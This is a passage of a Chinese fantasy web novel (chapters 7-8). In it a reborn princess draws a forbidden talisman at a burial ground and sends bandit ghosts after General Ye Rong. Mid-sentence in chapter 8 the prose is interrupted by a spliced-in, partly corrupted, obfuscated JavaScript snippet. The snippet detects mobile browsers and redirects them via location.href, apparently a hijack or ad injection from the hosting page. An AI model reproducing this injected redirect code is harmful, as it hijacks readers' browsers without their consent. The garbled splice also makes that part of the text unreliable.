茶盏咕噜噜滚落地上,碎裂两半,浸湿了绒毯。 叶离枝垂下眼,叩首行了个礼,将碎瓷盏小心收捡起来,顺从地从车厢里退出去。 圣女的车辇一停,整个车队都暂时停顿了下来,将军府的车驾随行在圣女车辇之后,叶凌烟的侍从一直留意着圣女车辇的动静,见叶离枝被赶下车,立即回头向主子汇报。 叶凌烟推开车窗,勾唇道:“把她给我叫过来。” 叶离枝将将下车,将军府的一名随从快步上前来,想要将她唤走,随行在圣女车驾旁的灵使等了片刻,见圣女车厢内没有动静,便点头同意了。 叶凌烟倚在车窗上,等叶离枝到了身前,便迫不及待地嘲讽道:“我就说殿下一时兴起,定然忍不了你几时。” 叶离枝早就习惯了她的冷嘲热讽,只默不作声地听着。 叶凌烟哼笑一声,继续道:“既然被赶下车了,我便好心一点,叫父亲派两个人先把你送回去,你就好好在府里待着吧。” 叶离枝咬了咬唇,抬起头来试图辩解道:“殿下只让我下车,没有允我返回,我不敢擅自做主,需得请示殿下之后才行。” 叶凌烟脸上的笑一下冷了下去,“你在用殿下的名头压我?” 叶离枝低下头,又摆出一副逆来顺受的模样,低声道:“我不敢。” 圣女的车辇重新启动,队伍也再次起行,叶凌烟抚摸着车窗边垂挂的流苏,眸子忽然一亮,竟难得地松了口,说道:“好吧,既然如此,你想跟就跟上来吧。” 叶离枝暗暗松了口气,正欲行礼,便又听她扬声命令道:“谁都不准载她,我倒要看看你这两只脚要怎么跑过四条腿的灵马,哦对了,你最好跑得快一些,要是殿下忽然又想听你唱曲了,却找不到人,可是会生气的。” “殿下要是生气了,后果会很严重的哦。” 叶凌烟说完,得意洋洋地合上窗,命车驾起行。 马蹄溅起尘土,叶离枝左躲右闪,被烟尘迷得睁不开眼,险些被马蹄踩踏。尘烟过后,那一行队伍已经行出好长一段距离,她揉了揉眼睛,提步往前追上去。 从南境前往中州玉京,迢迢千万里,车辇上刻有疾行法阵,护卫所骑也均为日行万里的灵马良驹,叶离枝身无修为,就算跑断了气,也追不上那一行队伍,很快就连马蹄飞溅的尘烟都再看不见了。 她一路只能循着车马的痕迹往前追。 将近日落时分,车队翻山越岭,跨越三座城池,到了一处驿站休憩过夜。 这驿站为官驿,很早之前便做好了迎接圣女尊驾的准备,屋舍经过扩建,群楼相环,俨然像是一座盘踞山林的宫苑,楼阁之间挂满了灯笼,将里外都照得亮堂,摆置亦被清扫得干干净净,地上连一片落叶也没有,更无闲杂之人。 只是比起南荣王宫,这座驿站到底简陋。 慕昭然在驿官的殷勤迎接下,勉为其难地走了进去,他们一行刚到驿站,车马还需安顿,周围嘈杂,慕昭然便先行上楼去了房间里休憩。 驿站为她布置的房间倒也宽敞,分为内外两室,外间置有坐榻,桌上备了些切好的瓜果和点心,房间里点着木樨香。 等一众随行之人皆安顿妥当,驿官命人准备好了膳食,慕昭然才施施然从楼上下得大堂来。 慕昭然入座后,叶戎跟着入座,随后是跟随在慕昭然身边的圣殿灵使,以及叶凌烟,其他随行之人被安置在了外缘。 对着叶戎那一张将来会弑君篡位的仇人脸,慕昭然全然没有胃口,只用了几口便停下筷,她抬眼往四周打望一圈,这时才想起还该有一个人。 “叶离枝呢?跑哪里去了?”慕昭然不悦道,“叫她过来见我。” 慕昭然见众人的目光都朝叶凌烟看去,便也跟着转眸看向她。 叶凌烟早就准备好了说辞,从容不迫道:“殿下是不知道,她的脾气古怪得很,早先被殿下赶下车后,她就赌了气非要回家去,我劝了她半天都不好使。” 她说着偷偷瞥叶戎一眼,小声道,“她不同于一般的仆从侍女,要是不愿意,我也不敢捆了她……” 叶戎闻言脸色铁青,重重一掌拍在桌上,震得桌上的碗碟都跟着颤,怒道:“好啊,她现在胆子是越来越大了,连圣女的命令都敢违逆,等回去之后看我不打断她的腿!” 慕昭然冷眼看他们父女二人一唱一和,在这件事上,倒是有点想顺水推舟,反正这一次是叶家不想让叶离枝去,又不是她在阻扰她。 只是她方这么一想,魂上的罪印就在闪闪烁烁地警告她。 该死的罪印,该死的叶离枝,真是麻烦死了! 慕昭然无比憋屈,咬牙 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叶戎沉沉看她一眼,也有点想探究清楚这位性情忽变的小殿下,肚子里打的什么鬼主意,他从善如流地站起身,提起配刀挂到腰上,“好,就听圣女的。” 叶凌烟暗自跺脚,等慕昭然让人伺候着漱了口,重新上楼休息后,她急忙追出屋去,跟在父亲身边,迭声道:“爹爹你真的要去把她找回来么?不如就趁着这个机会,找到人把她赶回府去关起来。” 叶戎冷哼一声,“离枝怎么说也是你的妹妹,你将她丢在荒山野岭,就不怕她有危险?” “她那个贱婢,算什么妹妹……”叶凌烟嘀咕,又被父亲不悦的眼神瞪得闭上嘴,心中不满地想,爹爹现在倒是维护那个贱婢,有本事到母亲跟前说去。 眼见叶戎点好了一批人,打算回头去寻,她着急地扯住父亲袖摆,“阿爹!你也知道我的燕金令是怎么来的,她若跟着去了,万一露馅怎么办?父亲踏破铁鞋都找不来的东西,竟然会在她身上……” “闭嘴!”叶戎喝止住她,见她委屈,又放缓了口气,抬目朝驿站二楼望去一眼,说道,“你只管做好为父交给你办的事,其他的不用你操心,我会处理好的。” 父亲既然还要她帮忙办事,便是保证了她能与圣女一起,顺利进入天道宫。 叶凌烟放下心来,松开手指退后开去,看着父亲翻身上马领着一队人马,提灯奔入夜色之中。 驿站二楼,推开的一隙窗缝之内,慕昭然望着渐行渐远的灯光,心中杀意蠢蠢欲动。 只是这位叶大将军替南荣安疆平匪,身上有莫大的功勋,又追随者众多,即便是父王,也不能不分青红皂白地杀了他。 虽不能光明正大地处置他,但万一这位大将军,在寻女之时不幸遭逢了意外呢? 慕昭然眯起眼睛,上挑的眼尾在烛台微光中流转过阴狠的笑意,这副容颜美则美矣,此时此刻却当真便如蛇蝎吐信,令人惊惑。 她素手轻抬,合上窗缝,转回身欲要召集圣殿灵使前来协商,但仔细思忖片刻,又放弃了这个念头——既是意外,便不能将圣殿的灵使牵扯起来,留下任何把柄。 她甚至也不能动用圣殿长老们为她准备的法器,教授给她的术法,不能使叶戎将要发生的意外有一丝一毫牵扯到她身上的机会,否则父王会很难办。 可真是麻烦。 慕昭然蹙着眉,指尖轻轻挑动烛火,盯着烛火摇晃须臾,心中有了主意,无声呢喃道:“阎罗,我应该感谢你的……” 偏偏她上一世,被猪油蒙心,只着了魔怔一般痴念着云霄飏,从来看不见旁人。 等到蒙在心上那层阴翳散开,她却已经害死他了。 7. 第 7 章 前世,慕昭然受天道宫十二道噬灵引,被截断周身灵窍,抽空灵力,金丹破碎,沦为彻底的废人,从此以后都无法再修行。 她从小到大养尊处优,半点苦都吃不得,即便拥有绝佳的资质,身怀旁人梦寐以求的灵骨,也一点都不喜欢修炼,在天道宫修习时,别人都在苦心竭力地精进修为,只有她样样只求泛泛而过。 她所有的精力都花在了如何得到云霄飏的人和心,如何陷害叶离枝,与她争风吃醋上。 等到被废了修为,从云端跌入泥泞当中,任何人都能在她身上踩上一脚时,慕昭然才开始明白修为的重要性。 只是到那个时候,已经悔之晚矣。 南荣安定下来后,慕昭然成了阎罗身边的金丝雀,她也曾试着去献媚阎罗,求他寻找到能助自己恢复的法子,就算不能恢复修为,只要让她能修复灵窍,重新开始修炼也行。 可天道宫的惩戒,乃断人之根本,即便是阎罗也无能为力。 他那个人并不会说些委婉的抚慰人心的话,或许也不屑于对她这么一个只能任他摆弄的金丝雀说,即便是在床笫之间。 阎罗毫不留情地戳破了她的希望,告诉她,噬灵引嵌在她灵窍之中无法可解,无力可封,她往后吸纳的每一丝灵力都会被噬灵引吞掉,再流散体外,身体就是个漏水的杯子,永远也无法再修炼了。 慕昭然轻喘着气,浑身的热血瞬间冷透,闷声将头埋进被子里,哭得梨花带雨,嘤嘤低泣。 隔了半晌,一只手伸来将被褥扯开,他贴靠过来,被体温染热的薄银面具压在她耳畔,耐心地舔去滑落至耳畔的泪珠,说道:“殿下若不嫌弃,我也可以教你一些邪魔之法。” 慕昭然虽早已被天道宫除名,又被列入与邪魔外道无异的“失道者”名录,还不得不整日与邪魔头子厮混在一起,从南荣的瑰宝,沦为了祸国的妖姬。 但实际上,她和这天下世人一样,依然打心眼里瞧不上邪修,不愿真的沾染邪术,堕入魔道。 阎罗看出她的想法,抬手将她耳鬓凌乱的发丝抚到耳后,指尖顺着脸颊滑落到柔软的唇瓣上,轻轻摩挲片刻,无奈道:“这也不行,那也不愿,殿下可真难伺候。” 慕昭然低眸之间看见他手背上爬过的一抹黑影,那东西贴在他遍布伤痕的皮肤底下,乍一看像是一片墨色刺青,形如毒蝎,却是活的,能在他身上四处游走。 是与他共生的王蛊。 慕昭然偶然间见过它变大的样子,黑色的蝎身遍布他整个背脊,从肩膀上凸起,螯肢顺着肋骨从他身后环抱至身前。 蝎尾沿着他遒劲有力的腰蜿蜒而下,一直缠绕到大腿上,蝎子身上甲壳几乎要从他皮肤底下鼓出来。 慕昭然惊叫着推开他,趴在床沿边吐了一地,吐到整个人抽搐痉丨挛,完全虚脱过去。 从此之后,那画面便像梦魇一样铭刻在她脑海里,让她每每看到这个东西,都忍不住怀疑方才与自己交丨欢的究竟是人还是虫,然后抑制不住地泛起恶心。 她知道她不该这样,但她控制不住。 阎罗一把捂住她的嘴,将她含糊的作呕声堵回喉咙里,蝎影飞快从手腕爬下去,消失不见。 等到慕昭然从窒息中泪眼朦胧地缓过劲儿来,他才放开手,搓了搓被她津液染湿的指尖,披衣下床,嘲讽般地说道:“我还是不留在这里惹殿下作呕了。” 慕昭然胡乱抹一把脸上的泪,扑过去抱住他的腰,忍着恶心,柔媚地撒娇:“我只是害怕虫子而已,但为了你,我可以忍受它的,不要走,我想你陪着我,好不好嘛?” 阎罗挺直的腰背便在她的缠磨下软下来,重新坐回床沿,慕昭然趁势跨坐到他腿上,捧住他的脸,在薄银面具上亲了亲,说道:“我学,我学就是了。” 她都沦落至此了,哪还有什么资格清高。 即便有所觉悟,慕昭然还是做不到用自己的身躯去养蛊,她看到那些簇拥在一起互相吞噬的虫子就想吐,更遑论将它们引入自己体内,让它们在自己身体里厮杀,最终再吞噬获胜者,与之人蛊合一了。 阎罗知道她厌恶虫子,没教她炼蛊,只教了她作符,一种不需要使用灵力,被天道宫所禁止的符咒。 门外传来说话声,将慕昭然从回忆中拉拽回现实。 叶凌烟送走父亲后,并不甘心自己的好姐妹就这么被叶离枝抢走,还想如往日一样,能与殿下抵足夜谈,打消隔阂。 慕昭然没应,她在外徘徊了将近半个时辰,才被把守在外的圣殿灵使打发走。 夜深之后,驿站里的灯笼被一盏盏取下,熄灭,只留下稀疏的几盏,堪堪照亮夜色。 等所有人都陷入沉眠,慕昭然翻身从床上坐起来,从荷包里取出一只小巧的陶土人偶放到床上,忍痛刺破指尖滴了一滴血入人偶内。 那人偶上灵光一闪,化作了她的模样,乖巧地坐在床沿。 这只人偶是她不务正业的时候做的,以前慕昭然没少靠“她”逃避圣殿长老布置的课业。 前世,她被逐出天道宫后,是这只人偶一路背着她从中州逃回南荣,她们都以为只要回到家就好了,却没想到,南荣也早已陷入一片战火之中。 最后,父王和母后被杀,人偶代替她被叶戎所擒,慕昭然才得以逃离出王宫。 慕昭然只听说,“她”最后被销毁于街市口。 再次见到“她”,慕昭然眼睛微热,强忍着才没有落下泪来,仔细帮“她”理了理头发,叮嘱道:“你就代替我在这里,乖乖睡觉等我回来。” 人偶点点头,乌黑的眸子盯着她,学着她的动作帮她也理了理头发,慕昭然拉开“她”的手,“好啦,快去躺好。” 人偶顺从地躺到床上,盖好被子,继续盯着慕昭然。 慕昭然想了想,为保险起见,掐算了一下时间,说道:“要是在明日出发之前,我都还没回来的话,你就赶紧去找霜序,叫她只带圣殿灵使来寻我。” 霜序是这次随她出行的圣殿灵使首领。 人偶听话点头。 慕昭然掏出圣殿长老们送给她的法器,噼里啪啦全倒在床上,这些法器精致小巧,全都做成了配饰的形制。 什么戒指、耳铛,璎珞,应有尽有,慕昭然现在只开了灵窍,尚未筑基,这点修为实在不够看,她用防御法器给自己戴满了一身,身上防御之力厚得连蚊子都钻不进来。 最后插上一根隐匿身形气息的发簪,推开小窗,翻身跃下,从驿站后门悄无声息地离开。 以前自圣殿逃课太多回,她在隐匿遁逃方面很有些本事,没有惊动任何人。 这座驿站位于城郊,后方便是莽荡山野,慕昭然静息感受片刻,转身朝着一个方向飞奔而出。 浓密的树冠将山林里的夜色围挡得更加浓稠,星月之光都被挡尽,慕昭然裙裾之上流淌出微弱萤光,结成一团流动的灵岚,轻盈地托举起她的身躯,飞掠过密林。 距离城郊越远,山林便越是幽深黑暗,若没有前世颠沛流离的那一段逃亡经验,她现在定然不敢如此大胆地行走于夜色中。 慕昭然心跳得有些快,呼吸紧张,竖着耳朵倾听黑暗中的各种动静。 “嘎——” 黑夜中陡然一声凄厉的鸦鸣,紧接着是群鸟振翅的扑棱声,慕昭然心如擂鼓,蓦地停下脚步,眯眼打量前方。 山林到了尽头,前方是一片开阔之地,乱石嶙峋,横生着一些枯败的树枝,枝头上飘荡着残破的布幡,有幽幽绿火飘荡在乱石间,时隐时现。 是一座乱葬岗。 难怪此地阴气甚重。 半夜三更,慕昭然孤身来到此处,说不惧是不可能的,四周明明没风,她却能感觉到一股股的阴气从泥泞的土壤里直往她身上钻,她浑身的汗毛都立了起来,头皮发麻。 直到现在,她魂上的罪印都没有动静,看来这系统还真是恩怨分明,只护着它嘴里的那个“女主”。 慕昭然抚摸了一下身上叮叮当当的法器,给自己壮了壮胆,深吸口气,踏入乱葬岗中。 她走入乱葬岗深处,寻到一处平整之地,刨开腐朽的草叶,就地拾起一根趁手的枯枝,就着这一处绝佳的阴湿之地,开始作符。 阎罗教授给她的这种符,名为秽符,不以灵力所驱,全凭意念所蛊,此符符文自含力量,不需作符之人拥有什么灵力修为,只要心中具有强烈的贪嗔痴、爱恨欲等秽念,用 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秽情符里的爱丨欲烧红了他的眼睛,他掐住她的下巴,舔了舔唇角的符水,问她:“殿下,这张符你是要给谁用的?这么浓烈的爱丨欲,是打算宣泄给谁的?” 慕昭然身心俱焚,如同火烧,在那一刻日复一日的言不由衷、曲意逢迎都在心底爆发,她只恨不得杀了他,却还是要流着泪,一遍遍地回答:“是你,是你,我想的人是你,我爱的人是你。” 阎罗用一条银链将她锁在宫殿中,关了整整一个月,才消耗尽符咒秽念,她险些就那么毫无体面地死在床上。 那之后很长一段时间,慕昭然夜夜惊梦,梦里永远是那一座密不透风的宫殿,重幔垂挂,烛火昏暗,浓郁的熏香也压不住殿内的腥甜气味,以及床幔之内如野兽一样交缠在一起的人。 慕昭然哭着求饶,说她要死了,阎罗便俯身贴近她,一下一下吻着她的唇,语气温柔而残忍,说道:“好啊,那我便随你一起死,到了黄泉之下继续这般缠绵。” 这句话让她既恨又怕,犹如附骨之疽,最终慕昭然还是熬过来了,没有如他所愿。 平地起夜风,吹散了夜空弥漫的阴云,但慕昭然心中的阴影却难以消弭,她稍一犹豫,手下的符文一断,将将聚拢过来的祟气便流散了。 慕昭然闭了闭眼,强迫自己抛开一切杂念,一遍遍地回想当初叶戎领重兵围困王宫,杀入宫殿,逼死父母的场景。 大火焚烧了宫殿,一个又一个熟悉的面孔倒在自己身前,教导她长大的圣殿长老耗尽修为,为了替她挣得一点逃生的机会,自爆在叶戎带来的世家修士的围攻下。 慕昭然眼睛通红,心中都被仇恨淹没,她不希望这样的场景再一次发生,那就得先下手为强,哪怕不择手段。 强烈的杀念顺着她手中枯枝传递入地面,她划在地面的符文开始亮起晦暗的光,最后一笔落下,一道完整的符箓蓦地从地面脱出,悬浮于半空。 寻常符箓灵力中正,符光耀金,但这一枚符却阴森黯淡,符文线条扭曲宛如长蛇,成符的一瞬间,便有一股阴邪之气扑面而出。 狂风呼啸,云层被彻底撕开,圆月高悬,月色却穿不透厚重的夜,这一座乱葬岗仿佛被圈入异界。 虚空中有什么东西朝着悬空的秽符狂涌而来,形成了一个无形的漩涡,乱葬岗上飞沙走石,被刮走的地皮下方露出密密麻麻的白骨。 慕昭然身处漩涡中心,被秽符吸力卷得站立不稳,她身形摇晃,猛地扑到地上,抱住一块凸起的岩石,才堪堪稳住身形。 慕昭然眼睁睁地看着那岩石之上爬上阴冷寒霜,寒气浸透骨髓,冻得她瑟瑟发抖,就在她快要被恐惧压倒,心生退意之时,那震荡的秽符忽然静止,慕昭然犹豫地站起身,满怀警惕地打量每一根符线。 这一枚秽符虽出自她手,她却也不知道它会为她招来什么东西。 就在她鼓起勇气准备上前之时,那符文猛地从中撕裂,一张骷髅鬼面突然从内冲出来,悍然撞入她体内——她身上的防御法器就算再厚实,也挡不住自己做的符。 慕昭然只觉一股阴冷之气直冲眉心,她眼前霎时一黑,两眼翻白,仰面倒了下去。 8. 第 8 章 杀—— 震耳欲聋的喊杀声将慕昭然从昏沉中惊醒,半梦半醒间,耳边兵戈厮杀之声不绝,时不时便有刀剑入肉的噗嗤声和惨嚎声。 慕昭然隐约看见一道利光朝她劈来,她挣扎着想躲,可已来不及,那利光挟着呼呼风声,一刀斜劈下来,从左肩到右腰,将她劈成了两半。 她甚至能感觉到自己腹中肠子顺着刀口哗啦啦流了一地。 “啊啊!” 慕昭然发出惊恐的尖叫,猛地睁开眼睛,随着她彻底清醒过来,梦中的厮杀声也霎时消止,她慌忙低下头想检查自己,目之所见却是一副男人胸膛。 这胸膛干瘪枯朽,从左肩到右腹有一道斜长而狰狞的伤口,伤口处血肉模糊,流着脓水和腐肉,随着每一次颠簸,半垂在外面的肠子都在左右晃荡,正合了她梦中的场景。 她身下所骑的马匹亦是半透明的骷髅鬼物,马蹄从地面上踩过,没有惊起半点声响。 慕昭然喉咙里干呕一声,立即抬眼,往左右一望,看见了身前身后数不清的阴魂鬼煞。 它们或骑着骷髅鬼马,或举着铁环大刀,足有百十余众,个个皆是鬼面獠牙,凶神恶煞,往一个方向狂奔。 杀—— 杀了姓叶的—— 无声的嘶吼在这一群阴兵之间回荡,同慕昭然心中的恨意激起强烈共鸣,慕昭然从附身的这只鬼魂身上读取到了一点他生前的记忆。 原来她那枚秽符竟招来了一群鬼匪,这群人生前便是这山林中的匪寇,滋扰城镇,打劫货商,烧杀抢掠,为祸一方。 四年前,叶戎领军剿匪,平息各地匪患,将这群匪寇一网打尽,全部坑杀,慕昭然作符的乱葬岗就是当年坑杀这群匪徒的所在。 是以,她对叶戎的仇恨杀意,很容易便引来了那地底下的鬼物共鸣。仇恨凝聚起它们腐朽的残骨断肢,从九泉之下掘土而出,返回人间,报仇雪恨。 “竟然招来这种东西……”慕昭然闻到风中浓郁的腐烂臭味,恶心得想吐,她身为南荣圣女,自是瞧不上这些匪寇的,但偏偏是这群鬼匪响应了她的召唤。 思及叶戎逼死父母的场景,慕昭然心中恨意沸腾,左右鬼匪一声声的愤怒嘶吼如洪钟一样不断撞进她的胸腔,将她心中恨意翻涌成滔天巨浪。 很快慕昭然便无暇去思考什么匪寇不匪寇了,她恍惚间也化作了这群鬼匪中的一员,满脑子也只剩下一个念头—— 杀! 杀了姓叶的! 这群阴兵鬼匪在夜色中无声奔袭,很快便寻到了仇人的气息。 夜深雾浓,几束火光聚集在一片斜坡脚下,圈出一块休息的区域。 叶戎大马金刀地坐在一块削平的岩石上,冷沉着面容,神情不悦地盯着跪在他前方的身影。 空气中血腥味弥漫,不远处的地上躺着一头雄壮的棕熊,那棕熊背脊上插着一根红缨长丨枪,枪头深深凿进它厚实的皮肉内,贯体而过,插进泥地里。 鲜血从它身下不断漫溢出来,尚冒着热气。 “要不是我及时赶到,光是这头野畜就能要了你的命。”叶戎居高临下地看了叶离枝一眼,他手里捏着一片狭长的槐树叶,这叶片内含灵气,抛入半空便可化作一叶小舟,御风前行。 “难怪你能一路追到这里来。”叶戎见过不少法宝灵器,这片叶子算不得什么稀罕的东西,只是出现在叶离枝手里,却有些奇怪,“我当初问你,天道宫的燕金令,你是如何得来的,你不肯说,这片叶子是从何来的,你也不肯说,难道是同一个人给你的?” 叶离枝状况很是狼狈,身上衣裙脏污,捂住肩上被棕熊挠出的血口,跪在地上,闷不吭声。 叶戎知道从她嘴里问不出什么来,干脆朝身旁亲卫吩咐道,“你分出一队人马,送她回将军府去,找人好生医治一下她胳膊上的伤。” 身旁亲卫躬身领命,略带迟疑道:“那殿下那边该如何应付?” 叶戎满不在乎道:“小女伤势严重,只能回府休养,圣女体恤臣民,当不该驱使一个伤重之人,若传出去岂不惹人诟病?” 何况,圣女须得在定好的时日前到达天道宫,是不能在途中耽误太久的。 如果那位小殿下当真任性得为了一个无关紧要之人,耽误了天道宫的行程,叶戎反倒喜闻乐见,总归伤脑筋的人不会是他。 叶离枝听见他们的低语,急忙抬起头来,说道:“我的伤不碍事的,殿下那边定还等着我伺候。” 叶戎冷哼一声,无所谓道:“圣女身边有的是人伺候,不缺你一个,先前我会答应,不过是顾全大局,免得误了正事。” 叶离枝自然不是为了去伺候圣女,她只想借此机会离开将军府那一座囚笼,她还欲争辩,“可是将军,殿下她……” 叶戎不悦道:“你是我叶戎的女儿,竟还上赶着想去给人为奴为婢,你不嫌丢人,我还嫌丢人!” 叶离枝咬了咬唇,心中有些想笑,她在将军府中时,可没人因为她是将军女儿就善待她,甚至连奴仆都能随意使唤她,践踏她。 她在将军府中为奴为婢之时,难道她的将军父亲就不曾看见么?就不觉得丢脸么? 她绝不能再回到那一座吃人的宅邸之中。 叶离枝抬起头来,既是疼的,也是因惧怕叶戎身上的积威,声音发着抖,“将军是荣王陛下的臣子,可以为陛下戎马一生,守卫疆土。圣女殿下是为了南荣背井离乡,远赴天道宫修习,我亦愿意为殿下消愁释愦,尽绵薄之力,我不觉得丢人。” 叶戎没想到她竟还敢顶嘴,气得霍然起身,大步跨过去,一把拔出插在棕熊身上的长缨枪,猛地甩枪回首指向她,傲然道:“本将军披甲执枪,是为了南荣子民,不是为了那位陛下。” 枪上猩热鲜血溅到叶离枝脸上,叶离枝浑身一僵,那一瞬间,她甚至以为叶戎要杀了她。 “贱奴之女,果然不堪造就。”叶戎说道,对她倒也谈不上失望,反正他早已认定了她就是那样卑贱的种,从她嘴里说出那样的话,便也不足为怪,“送她回将军府,好生看管,别再出来抛头露面,丢人现眼。” 叶离枝脑子里嗡一声,被“贱奴之女”四个字刺得红了眼。 她一把抓住眼前那柄尖锐的红缨枪,锋利的刃口割开手掌也不觉得痛,恨声质问道:“我母亲是贱奴,那见色起意,逼迫母亲的你又算什么东西!” 叶戎表情骤变,猛地振臂一把抽回长枪,屈指一抓,将她提来面前,喝问道:“你说什么!” 叶离枝手掌被枪刃削去了半块肉,鲜血流水似的从指尖滴落,颤抖着声音,仍倔强地盯着他一字一顿地重复道:“我说你,见色起意,当初是逼迫母亲……” 叶戎额角青筋直跳,已是震怒至极,伸手卡住她的脖子,五指如铁钳一样扼住她的咽喉一寸寸收紧,咬牙切齿道:“很好,我竟不知原来你是这么看我的?你恨我是么?你既这么恨我这个父亲,那不如把我给你的这条命还回来。” 叶离枝被掐得满脸涨红,喉咙里发出呜呜的哀嚎,再说不出一个字来,只能徒劳地撕扯他的袖子。 就在这时,一阵狂风忽然从山坡上斜吹下来,浓郁的腐臭气息扑面而来,众人掩住鼻息仰头望去,顿时骇然大惊。 只见那山坡顶上不知何时竟悄无声息地站满了人,在晦暗的月色中投下黑压压的一片影子。 “那是什么?”有人惊慌地问道。 话音未落,山坡上的黑影忽然动了,冲杀声一瞬撕破黑夜寂静,隆隆的马蹄声自山坡之上越来越近,震得山脚下的泥石都跟着打颤,拴在树旁的马匹受惊,扬蹄嘶吼,拼命挣动缰绳想要逃跑。 叶戎双目大瞠,再顾不得叶离枝,一把将她甩到地上,沉声喊道:“慌什么?列阵迎敌!” 众人拔剑出鞘,严阵以待,直到看见那黑压压的人马冲入火光之中,望见腐朽的枯骨皮肉,腐臭的气味越发熏得人作呕,才惊觉不对。 亲卫护在叶戎左右,震惊道:“将军,那看上去不像是活人。” 叶戎甩动长枪,悍然迎上前去,“管它是人是鬼,给我杀!” 双方短兵相接,立即便战作一团,慕昭然的意识被困在其中一只鬼匪身上,只能随着它向前冲杀。 她越过飞溅的腐尸血肉,看了一眼手脚并用地从地上爬起来,往远处躲避的叶离枝,忽然明白了这一次魂上罪印为何没有制裁她。 鬼匪冲杀,竟然给她解了围。 慕昭然想到此处,顿觉气闷,但眼下她也无暇去找叶离枝的麻烦,只想先杀了叶戎。 叶戎带出来的这二十来人,都是他麾下精锐,大多都修习了炼体之术,就算对上这一群鬼匪,初初交锋之下,竟也不落下风。 反倒是它们这一群鬼匪,生前便伤的伤,残的残,就算有秽符仇怨将它们凝聚到一起,也是一群乌合之众。 废物,简直废物! 慕昭然看着周围一只只鬼匪被长枪撕碎,腐肉枯骨散了一地,她气恨交加,凝聚心神试着再次催动秽符。 秽符符文散布在每一只鬼匪胸腔里,亮起幽幽暗光,地上的腐骨受符文牵引,再一次合聚而起,挥舞大刀往前砍杀。 “当心!这些东西都杀不死!”有人大喝一声,眼见被砍杀在地的鬼物一个个又重新站了起来,鬼气大涨,兵将的士气顿时被压下去一截。 慕昭然动了动手臂,大约是她的意识压过了附身的这只鬼匪,她忽然发觉自己能够操控这一具鬼身了。 慕昭然抬眼望了一眼被护卫在中心的叶戎,抬手往身边鬼匪的身躯里抓去,抓住一道符文引来自己身上,森然鬼气顿时充盈四肢。 她控制着所附身的鬼匪一连吞噬了数个同伴,身形暴涨一圈,从马背上一跃而下,毫不费力地冲撞开拦路的兵将,直取叶戎面门。 叶戎横枪格挡,被那鬼匪大刀砍得枪杆剧震,虎口撕裂。 慕昭然没学过什么刀法技巧,就仗着自己身躯庞大,体内有使不完的鬼力,一通狂砍。 她若是有点技巧,叶戎或许还能凭经验勉强应对,偏偏对方气力惊人,毫无章法,他被逼迫得连连后退,被砍伤的地方受腐臭鬼气入侵,血红的伤口转眼就变成乌黑腐肉。 叶戎躲避的动作越来越迟缓,眼前也一阵阵发黑。 另一边,叶离枝趁乱逃离战圈,撕下一截裙摆裹住手掌上的伤,解开一匹黑马的缰绳,好不容易控制住马匹,打算借此机会逃离这里,追上圣女的车驾。 策马奔出一段距离后,她忍不住回头张望了一眼,这一望正好看见那身形比先前袭击她的棕熊还要大上两圈的恶鬼,正挥舞着鬼气森森的大刀,朝着叶戎当头砍下。 叶戎的长枪受鬼气侵蚀,发出一声崩裂的锐响,从中折断。 “将军!”亲卫大喝,却深陷鬼匪包围,无力前去支援。 眼见那恶鬼再次扬起大刀,这一次是照着叶戎的脖子斩下,而叶戎动作迟钝,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164984|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然已无力躲开了。 叶离枝抓扯缰绳的动作一顿,终究无法眼睁睁看着父亲死在自己面前,她咬了咬牙,猛地一拽缰绳,策马回鞭,朝着那庞大的恶鬼直冲过去。 黑马发出凄厉嘶吼,叶离枝一鞭子几乎将它后臀抽出血来,不准它后退。 慕昭然正当得意,听到耳畔的马嘶声时已来不及,她被撞得歪倒过去,大刀掠过叶戎,砍进旁侧粗壮的大树上,刀刃陷进树干里。 这一撞之力不小,黑马被恶鬼身上的骨头戳中胸膛,粗喘着气息摇摇晃晃地倒在那恶鬼身上,叶离枝从马背上跳下来,跑过去扶起叶戎,急道:“父亲,快走。” 叶戎眼前已有些模糊了,他沉沉地看叶离枝一眼,借着她的力道站起来,踉跄地往前逃。 混乱中,有兵将喊道:“所有人拼死拦住这些鬼东西,护送将军离开!” 众人响应,他们拼死一搏,倒当真阻挡住了鬼匪的追击。 慕昭然踢开呼呼喘气的黑马,从地上爬起来,一把拔出卡在树干的大刀,发狂地仰天怒吼,踩着地动山摇的步伐,提步追上去。 机不可失,时不再来,她必须要在这里杀了叶戎!谁挡她都不行! 慕昭然又吞噬了几个同伴,鬼气充盈四肢百骸,身形化作一股狂风,以神挡杀神,佛挡弑佛之势,朝着叶家父女二人追去。 就在她追上二人,举起大刀,即将斩下之际,一道流光忽然自天边射来,那流光之下荡开凛冽的剑气,横扫一片鬼匪,绞散它们胸腔内暗藏的秽符符文。 慕昭然睁大眼睛,看着那剑光直逼她而来,剑光之后紧跟着一道熟悉的身影,如天神降落凡间。 云霄飏。 云霄飏! 慕昭然一眼看见他,庞大的身躯猛然一顿,目光便像是被他黏住,再也移转不开,这具鬼匪胸腔里的心脏明明早已腐朽,可她却还是莫名地感觉到了剧烈搏动的心跳。 她像是被定在了当场,一动不能动,什么血海,什么仇怨,似乎一下子都从她心头被抽空了,她满心满眼又只装得下那一个手持利剑,朝她刺来的身影。 剑光刺入眼中,在逼近她面门之时,不知为何忽然凝滞了一瞬,似是遭遇了什么阻挡。 慕昭然眯了眯眼,恍惚感觉似有一只无形的手指,在她眉心点一下,她眉心一痛,意识骤然从鬼匪身上脱出,视野迅速往后退开。 下一瞬,云霄飏的长剑穿透鬼匪,搅碎了它体内的秽符符文。 鬼匪的腐肉残躯炸裂一地,慕昭然所能见到的最后一个画面,是云霄飏挽剑荡开血污,转身扶起叶离枝,询问道:“姑娘,可还好么?” 乱葬岗里,慕昭然蓦地睁开眼睛,从地上坐起来,捂住自己心口。 心跳。 原来是她自己的心跳。 长夜将尽,天边已现出一丝鱼肚白。 